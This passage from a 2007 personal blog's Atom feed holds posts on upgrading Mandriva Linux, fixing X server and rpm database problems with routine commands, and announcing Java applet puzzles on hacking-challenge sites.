src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-5707864513031493872</id><published>2007-10-21T16:52:00.000+01:00</published><updated>2007-10-21T17:00:58.017+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='cryptobox'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>CryptoBox</title><content type='html'>Been updating the CryptoBox today. I just can't believe how dusty the code has been. No new feature has been added yet, but the code has undergone a big Java 5 update.&lt;br /&gt;The official version will be released soon :)&lt;br /&gt;Oh and if you're wondering about the applet tutorial, it's not ready yet. But I promise it'll be out before new year :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-5707864513031493872?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/5707864513031493872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=5707864513031493872' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5707864513031493872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5707864513031493872'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/10/cryptobox.html' title='CryptoBox'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8719884648186840274</id><published>2007-10-12T15:59:00.000+01:00</published><updated>2012-02-11T10:34:37.553Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='rpm'/><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='xorg.conf'/><category scheme='http://www.blogger.com/atom/ns#' term='2008'/><title type='text'>Migrating to 2008.0</title><content type='html'>&lt;span class="postbody"&gt;Mandriva 2008.0 official was out last week, so time for me to start migrating to it :)&lt;br /&gt;&lt;br /&gt;Downloaded the 3-CD isos, burned them with k3b, and I was ready to go.&lt;br /&gt;&lt;br /&gt;To my experience, the installer hasn't been improved any since beta 1. It was still incredibly slow. Froze for a few minutes trying to determine the package list. And the estimated time for upgrading was 4 hours! While the packages were installed, I needed to switch the CDs dozens of times - guess things would be easier if I had a DVD burner, but really not everyone has one.&lt;br /&gt;&lt;br /&gt;Finally, after about 1 hour and a half, installation finished. I was taken to the configuration screen. Having installed Linux many times, it didn't take long for me to finish setting everything up and ready for the first boot of the new system.&lt;br /&gt;&lt;br /&gt;On the first boot, I wasn't surprised to see the lilo bootloader in text mode instead of the nice graphical one. It has been removed since 2007.1, and there's no chance for it to come back in 2008.0, I guess :P&lt;br /&gt;&lt;br /&gt;I was then taken to the login screen. Well, it was quite nice with a new fancy theme. I logged into KDE, my favourite desktop environment. And... things go black and I was taken back to the login screen. Wtf???&lt;br /&gt;&lt;br /&gt;Good thing I have fluxbox installed as an alternative desktop. Logged in without any problem, I started wandering the wilderness to find the solution to my problems. Found the following lines in my kdm.log:&lt;pre&gt;Backtrace:&lt;br /&gt;0: /etc/X11/X(xf86SigHandler+0x85) [0x80c46e5]&lt;br /&gt;1: [0xffffe420]&lt;br /&gt;2: /usr/lib/xorg/modules//libexa.so(ExaOffscreenMarkUsed+0x69) [0xb7aa70b9]&lt;br /&gt;3: /usr/lib/xorg/modules//libexa.so(exaDoMigration+0x597) [0xb7aa6ff7]&lt;br /&gt;4: /usr/lib/xorg/modules//libexa.so [0xb7aa46d6]&lt;br /&gt;5: /etc/X11/X(miFillGeneralPoly+0x4f5) [0x812ad85]&lt;br /&gt;6: /etc/X11/X(miFillPolygon+0x62) [0x812a322]&lt;br /&gt;7: /etc/X11/X [0x8174f82]&lt;br /&gt;8: /etc/X11/X(ProcFillPoly+0x10a) [0x808666a]&lt;br /&gt;9: /etc/X11/X [0x81532bd]&lt;br /&gt;10: /etc/X11/X(Dispatch+0x1af) [0x8089d6f]&lt;br /&gt;11: /etc/X11/X(main+0x465) [0x8071025]&lt;br /&gt;12: /lib/i686/libc.so.6(__libc_start_main+0xe0) [0xb7c9bf90]&lt;br /&gt;13: /etc/X11/X(FontFileCompleteXLFD+0x1e5) [0x80703a1]&lt;br /&gt;&lt;br /&gt;Fatal server error:&lt;br /&gt;Caught signal 11.  Server aborting&lt;br /&gt;&lt;/pre&gt;While roaming around finding the solution, I noticed that X crashed even when I start other gtk-based applications like rpmdrake, harddrake, GIMP, ekiga. Totally lost, I posted my problem at &lt;a href="http://forum.mandriva.com/"&gt;http://forum.mandriva.com&lt;/a&gt;, hoping that anyone there could provide any idea that could help me solve the problem.&lt;br /&gt;&lt;br /&gt;Life without everyday applications was a real pain. While trying to fix the problem, I ran into another nasty bug with rpm:&lt;pre&gt;error: Runnning db-&gt;verify ...&lt;br /&gt;rpmdb: PANIC: fatal region error detected; run recovery&lt;br /&gt;error: db4 error(-30975) from dbenv-&gt;open: DB_RUNRECOVERY: Fatal error, run database recovery&lt;br /&gt;&lt;/pre&gt;This nasty bug is being tracked down by pixel at &lt;a href="http://qa.mandriva.com/show_bug.cgi?id=32547"&gt;http://qa.mandriva.com/show_bug.cgi?id=32547&lt;/a&gt;. If you stumble upon it, be sure to report the bug there and help us identify the problem. In the meantime, you can use the following commands to fix the rpm database temporarily:&lt;br /&gt;&lt;pre&gt;rm -f /var/lib/rpm/__db*&lt;br /&gt;rpm --rebuilddb&lt;br /&gt;&lt;/pre&gt;Have been messing with my penguin box for so long, I didn't have any trouble getting into sleep that night, and luckily without any nightmares :P&lt;br /&gt;&lt;br /&gt;Waking up the next morning, I decided to jump into the official mandriva irc channel at irc://irc.freenode.net/#mandriva and had a nice chat with the guys there. Finally, after gathering all the relevant ideas, I decided to replace the xorg.conf file with the old one I backed up months ago. Fortunately, this completely solved the problem!&lt;br /&gt;&lt;br /&gt;So it turned out that x have been misconfigured somehow. I wonder if it was me who picked the wrong video card/monitor/keyboard/mouse..., or the hardware detection wasn't good enough - never had this problem before. Anyway, I had enough problems with x that I wouldn't want to compare the 2 config files to find out which line was causing the all the troubles.&lt;br /&gt;&lt;br /&gt;Time to give the damn penguin a real torture now :P&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8719884648186840274?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8719884648186840274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8719884648186840274' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8719884648186840274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8719884648186840274'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/10/migrating-to-20080.html' title='Migrating to 2008.0'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4417204162124253112</id><published>2007-09-28T14:29:00.000+01:00</published><updated>2007-09-28T14:50:50.879+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bbq'/><category scheme='http://www.blogger.com/atom/ns#' term='applet'/><category scheme='http://www.blogger.com/atom/ns#' term='homepage'/><category scheme='http://www.blogger.com/atom/ns#' term='cryptobox'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>Website update :)</title><content type='html'>Hey guys, have a look at &lt;a href="http://www.freewebs.com/quangntenemy/"&gt;my homepage&lt;/a&gt;! It has been updated once again :)&lt;br /&gt;&lt;br /&gt;You might want to claim that it's not as colorful as the old version, but believe me it's better :P I have put a lot of thoughts into that. The site looks very elegant now and has better support for accessibility. It's also optimized for every browser and small screen devices. And it's gradually adopting CSS3, which will be the open standard soon.&lt;br /&gt;&lt;br /&gt;In the next few days (or weeks, or even months :P), you'll see more updates. Elimination of broken links, new updates for the CryptoBox, Steganabara, the bbq project, and hopefully a cool applet tutorial :)&lt;br /&gt;&lt;br /&gt;Stay tuned!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4417204162124253112?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4417204162124253112/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4417204162124253112' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4417204162124253112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4417204162124253112'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/09/website-update.html' title='Website update :)'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-5336592905410320242</id><published>2007-09-28T13:20:00.000+01:00</published><updated>2012-02-11T10:34:37.611Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='split'/><category scheme='http://www.blogger.com/atom/ns#' term='cat'/><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='md5sum'/><category scheme='http://www.blogger.com/atom/ns#' term='unxutils'/><category scheme='http://www.blogger.com/atom/ns#' term='sha1sum'/><category scheme='http://www.blogger.com/atom/ns#' term='2008'/><title type='text'>Waiting for 2008</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;2008.0 was scheduled to be released on 27 September, but there were so many critical bugs that it hasn't been out yet. That's no surprise to me as there have been so many delays to the older versions. A bit disappointed, but I'd rather wait than getting an unstable release.&lt;br /&gt;&lt;br /&gt;In the meantime I'll tell you how I could move the big DVD isos from one computer to another with just a 2GB USB flash. It's really easy with the following wonderful linux (or rather, unix) commands:&lt;br /&gt;&lt;br /&gt;- split: This command helps you split a file into smaller files of equal sizes. The most important option is -b which specifies the file size, with the following multiplier suffixes: b for 512, k for 1K, m for 1 Meg. The beta2 DVD iso was 3.1GB, so I splitted it into 2 files of 1600M each:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;split -b 1600m mandriva-linux-2008.0-free-beta2.i586.iso&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This command will produce 2 files named xaa and xab.&lt;br /&gt;&lt;br /&gt;- cat: Not only help you view the file content, this command also joins files together. It is pretty easy to use:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;cat xaa xab &gt; mandriva-linux-2008.0-free-beta2.i586.iso&lt;/pre&gt;&lt;br /&gt;With just 2 commands you can probably get everything. But as the files are pretty big you should use checksums to make sure there's no error in transmission. Linux provides 2 common checksum tools: md5sum and sha1sum. md5sum is faster and enough for everyday use.&lt;br /&gt;&lt;br /&gt;PS. There's this really cool sourceforge project that provides ports of many common unix tools for Windows: &lt;a href="http://unxutils.sourceforge.net/"&gt;http://unxutils.sourceforge.net/&lt;/a&gt;. Long live the penguin empire :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-5336592905410320242?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/5336592905410320242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=5336592905410320242' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5336592905410320242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5336592905410320242'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/09/waiting-for-2008.html' title='Waiting for 2008'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6067012655876750447</id><published>2007-09-17T16:50:00.000+01:00</published><updated>2007-11-13T06:57:52.062Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='message me'/><category scheme='http://www.blogger.com/atom/ns#' term='applet'/><category scheme='http://www.blogger.com/atom/ns#' term='qtj'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='object oriented'/><title type='text'>quangntenemy teaches java 2 is up!</title><content type='html'>It must be my lucky day. The jackpot is up at rankk, and now qtj2 has finally been published at tbs too. This second challenge of the qtj series will teach you about object oriented programming in Java.&lt;br /&gt;&lt;br /&gt;With 2 challenges being published the same day, I only have a "few" things left to do. The applet tutorial has been pending for so long. And some changes need to be made to "Message Me" to make it solvable. Then some more updates to my website, Steganabara, CryptoBox and of course the bbq project ;)&lt;br /&gt;&lt;br /&gt;Stay ready for all the good news ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6067012655876750447?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6067012655876750447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6067012655876750447' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6067012655876750447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6067012655876750447'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/09/quangntenemy-teaches-java-2-is-up.html' title='quangntenemy teaches java 2 is up!'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4160030348719399619</id><published>2007-09-17T03:44:00.000+01:00</published><updated>2007-09-17T04:21:39.508+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='rankk'/><category scheme='http://www.blogger.com/atom/ns#' term='jackpot'/><title type='text'>New applet chall! The jackpot</title><content type='html'>4 years ago, as a student taking the Java programming course instructed by &lt;a href="http://www.cs.nott.ac.uk/%7Edge/java.html"&gt;Professor Dave Elliman&lt;/a&gt;, I was given the task to fix a broken code for a Fruit machine. It was my first approach to Swing and I really enjoyed it. Although broken, the code was really well designed that it really took me very little time to get the machine working. Being really enjoyed, I enhanced the code even more and the lab instructor was really impressed.&lt;br /&gt;&lt;br /&gt;Last week while discussing with Sphinx about writing a Jackpot as the next applet chall, the old code came to my mind. And now it has been recycled to become a real cool challenge. Among the applets I have created, this one has the nicest graphics. The broken code now has become a real gem ;) But don't be lured for its disguise. You'll scream in horror once you see the devils that are protecting those precious gems :P&lt;br /&gt;&lt;br /&gt;Curious? If you have yet to create an account at &lt;a href="http://www.rankk.org"&gt;rankk&lt;/a&gt;, do so right now and climb up to level 7 to defeat this chall!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4160030348719399619?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4160030348719399619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4160030348719399619' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4160030348719399619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4160030348719399619'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/09/new-applet-chall-jackpot.html' title='New applet chall! The jackpot'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1365853500108967776</id><published>2007-09-16T13:02:00.000+01:00</published><updated>2012-02-11T10:34:37.671Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><category scheme='http://www.blogger.com/atom/ns#' term='arts'/><category scheme='http://www.blogger.com/atom/ns#' term='2008'/><category scheme='http://www.blogger.com/atom/ns#' term='urpmi'/><title type='text'>Taming the penguin - Part 3</title><content type='html'>You know, I had Mandriva 2007, but I still wanted to get the latest packages, especially KDE, the best desktop environment out there. In Mandriva, this can be done easily with a single command:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;urpmi task-kde&lt;br /&gt;&lt;/pre&gt;Once again things didn't go on so well - that's the thing I hate the most about Mandriva betas. As an experienced Mandriva user, I logged into failsafe trying to start KDE from text mode and debug the problem. Here's the important command sequence:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;xinit&lt;br /&gt;startkde &amp;amp;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;From the error output I found out that the arts package was missing. I installed it and voila, the system booted smoothly :)&lt;br /&gt;&lt;br /&gt;Now I can live happily until the official 2008.0 release comes out - hopefully before October :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1365853500108967776?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1365853500108967776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1365853500108967776' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1365853500108967776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1365853500108967776'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/09/taming-penguin-part-3.html' title='Taming the penguin - Part 3'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-5018807122316855218</id><published>2007-09-11T04:37:00.000+01:00</published><updated>2007-11-13T06:59:31.592Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='stegano'/><category scheme='http://www.blogger.com/atom/ns#' term='rankk'/><category scheme='http://www.blogger.com/atom/ns#' term='TLFG'/><title type='text'>Something for September</title><content type='html'>Just realized there hasn't been any post for almost a month, although I have been quite active.&lt;br /&gt;&lt;br /&gt;On the new pyramid, aka rankk, I have finally secured the first place. Obtained it quite a long time ago, but the place was always taken back by valsa whenever I woke up in the morning. It was not until he had solved the final challenge - 9/1 - that I had a free race. Was there a curse placed upon the Geb title that he has not been able to surpass? If so, I really should take it with care ;)&lt;br /&gt;&lt;br /&gt;On TBS, finally I have grabbed 2 more challenges to reach 300. What's even cooler is that one of them is "The Long Forgotten Game" - a really evil chall. With that challenge done now I only have 3 more BaRa's steganos unsolved - Same record as Phas and Inferno - Of course I'll surpass them soon.&lt;br /&gt;&lt;br /&gt;A few months ago flamecruiser claimed that he would get TLFG before me. Now I really have taught him who's the new master. quangntenemy is back and kicking! :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-5018807122316855218?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/5018807122316855218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=5018807122316855218' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5018807122316855218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5018807122316855218'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/09/something-for-september.html' title='Something for September'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2939348199852202942</id><published>2007-09-01T07:18:00.000+01:00</published><updated>2012-02-11T10:34:37.721Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='font'/><category scheme='http://www.blogger.com/atom/ns#' term='2007'/><category scheme='http://www.blogger.com/atom/ns#' term='iso'/><category scheme='http://www.blogger.com/atom/ns#' term='opera'/><category scheme='http://www.blogger.com/atom/ns#' term='2008'/><category scheme='http://www.blogger.com/atom/ns#' term='urpmi'/><title type='text'>Taming the penguin - Part 2</title><content type='html'>Hey, it's me again.&lt;br /&gt;&lt;br /&gt;Last time after installing Mandriva 2007, I tried to upgrade to 2008 beta 1 again. And once again things screwed up. Being on a slow connection I had no other choice other than switching back to 2007. So basically I'm on 2007 now.&lt;br /&gt;&lt;br /&gt;The next day the Mandriva community released 2008 beta 2. So I grabbed the DVD iso. Too scared to upgrade the whole system yet so I planned to keep it for individual package upgrading. I don't have a DVD burner, but there's no need for it actually. In Linux you can mount an iso without the need for a virtual CD/DVD drive. The command is:&lt;br /&gt;&lt;pre&gt;mount -o loop -t iso9660 /mnt/data/images/mandriva-linux-2008.0-free-beta2.i586.iso /mnt/2008/&lt;/pre&gt;You can make the system mount the iso automatically by adding the following line to /etc/fstab:&lt;br /&gt;&lt;pre&gt;/mnt/data/images/mandriva-linux-2008.0-free-beta2.i586.iso /mnt/2008 iso966 0 ro,loop,auto 0 0&lt;/pre&gt;And here's the command to add it to the urpmi source:&lt;br /&gt;&lt;pre&gt;urpmi.addmedia --distrib 2008 /mnt/2008/i586/&lt;br /&gt;rpm --import /mnt/2008/i586/media/media_info/pubkey1&lt;br /&gt;&lt;/pre&gt;There's a cool game added to 2007 that I really enjoyed: Super Tux (haven't noticed it until now :P) Basically it is similar to the famous Super Mario Bros series with nicer graphics and the most important thing is that it is freely available. Not just that you can get it for free, you can also use the level editor to create new levels, or if you are familiar with c++ programming in *nix you can edit the source code to add more cool features :)&lt;br /&gt;&lt;br /&gt;As a member of the @ generation, which browser do you use? A sad fact is that although the Internet has been around for many years all the browsers out there are still immature. Internet Explorer (aka Exploder) is a piece of crap. Firefox, the currently dominating browser is a big mem eater. Other browsers like Opera, Konqueror, Netscape, Safari don't provide as good plugins. And none handles applets/flash loading very well. People always claimed applets/flash suck because they freeze their browsers but the real truth is that the browsers really sucked.&lt;br /&gt;&lt;br /&gt;I used to have 3 browsers installed on my Linux box: Firefox, Konqueror and Opera. Now I have to install Opera on my fresh system again. Having grabbed the latest rpm from &lt;a href="http://www.opera.com/"&gt;http://www.opera.com&lt;/a&gt;, installing was easy with urpmi. Unfortunately, on startup, the fonts were so badly broken that I could not read even a damn word.&lt;br /&gt;&lt;br /&gt;After some research, I found out that the problem was that Opera was using 100dpi fonts while they had not been installed on my system. xorg-x11-100dpi-fonts was what I need :)&lt;br /&gt;&lt;br /&gt;That's it for now. Stay tuned for the next chapter :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2939348199852202942?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2939348199852202942/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2939348199852202942' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2939348199852202942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2939348199852202942'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/09/taming-penguin-part-2.html' title='Taming the penguin - Part 2'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1355051110461220548</id><published>2007-08-26T09:24:00.000+01:00</published><updated>2012-02-11T10:34:37.771Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='partition'/><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='2007'/><category scheme='http://www.blogger.com/atom/ns#' term='bootloader'/><category scheme='http://www.blogger.com/atom/ns#' term='2008'/><title type='text'>Still taming the damn penguin</title><content type='html'>Been experiencing the best and worst things you can see in the IT world :D&lt;br /&gt;Well, I've been trying to enlarge my Linux partition. There are 2 ways to do it: creating another partition for /home or a fresh install. I decided to do a fresh install because I wanted to fix some trivial problem with KDE sound (but later on it turned out to be a bad choice :().&lt;br /&gt;Since Windows was crappy I decided to do a fresh reinstall for it too. The sucker could not boot from slave drive, so I had to install it to the master drive. On the secondary drive I had 30GB for Linux and 45GB for data.&lt;br /&gt;After backing up the data, I got myself a 3-CD version of Mandriva 2008 beta 1. Installation went smooth, the only thing that annoyed me was that I had to switch too often between CDs - they should have distributed the packages cleverer :P&lt;br /&gt;As all packages have been installed, I was taken to the configuration screen. To my surprise, there was no graphical lilo bootloader, and although I could choose grub-graphic, it still complained that some packages were missing. So I had no choice but to choose lilo-text as the bootloader.&lt;br /&gt;The text version was really awful. As I logged into the system, I found myself in IceWM. There were no KDE nor fluxbox although I was sure that I had choosen to install them.&lt;br /&gt;OK, I'm no fan of Gnome, I didn't install it either, and IceWM really sucked. Also I noticed that the 3-CD version was much smaller than the DVD one. Unfortunately I don't have a DVD burner, and the DVD image was too big for my damn connection. Therefore I decided to switch back to 2007 and wait for the official version later this year...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;(To be continued)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1355051110461220548?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1355051110461220548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1355051110461220548' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1355051110461220548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1355051110461220548'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/08/still-taming-damn-penguin.html' title='Still taming the damn penguin'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3906957287594609417</id><published>2007-08-15T15:49:00.000+01:00</published><updated>2007-11-13T06:39:19.237Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='applet'/><category scheme='http://www.blogger.com/atom/ns#' term='rankk'/><category scheme='http://www.blogger.com/atom/ns#' term='chamber door'/><title type='text'>New Java applet challenge</title><content 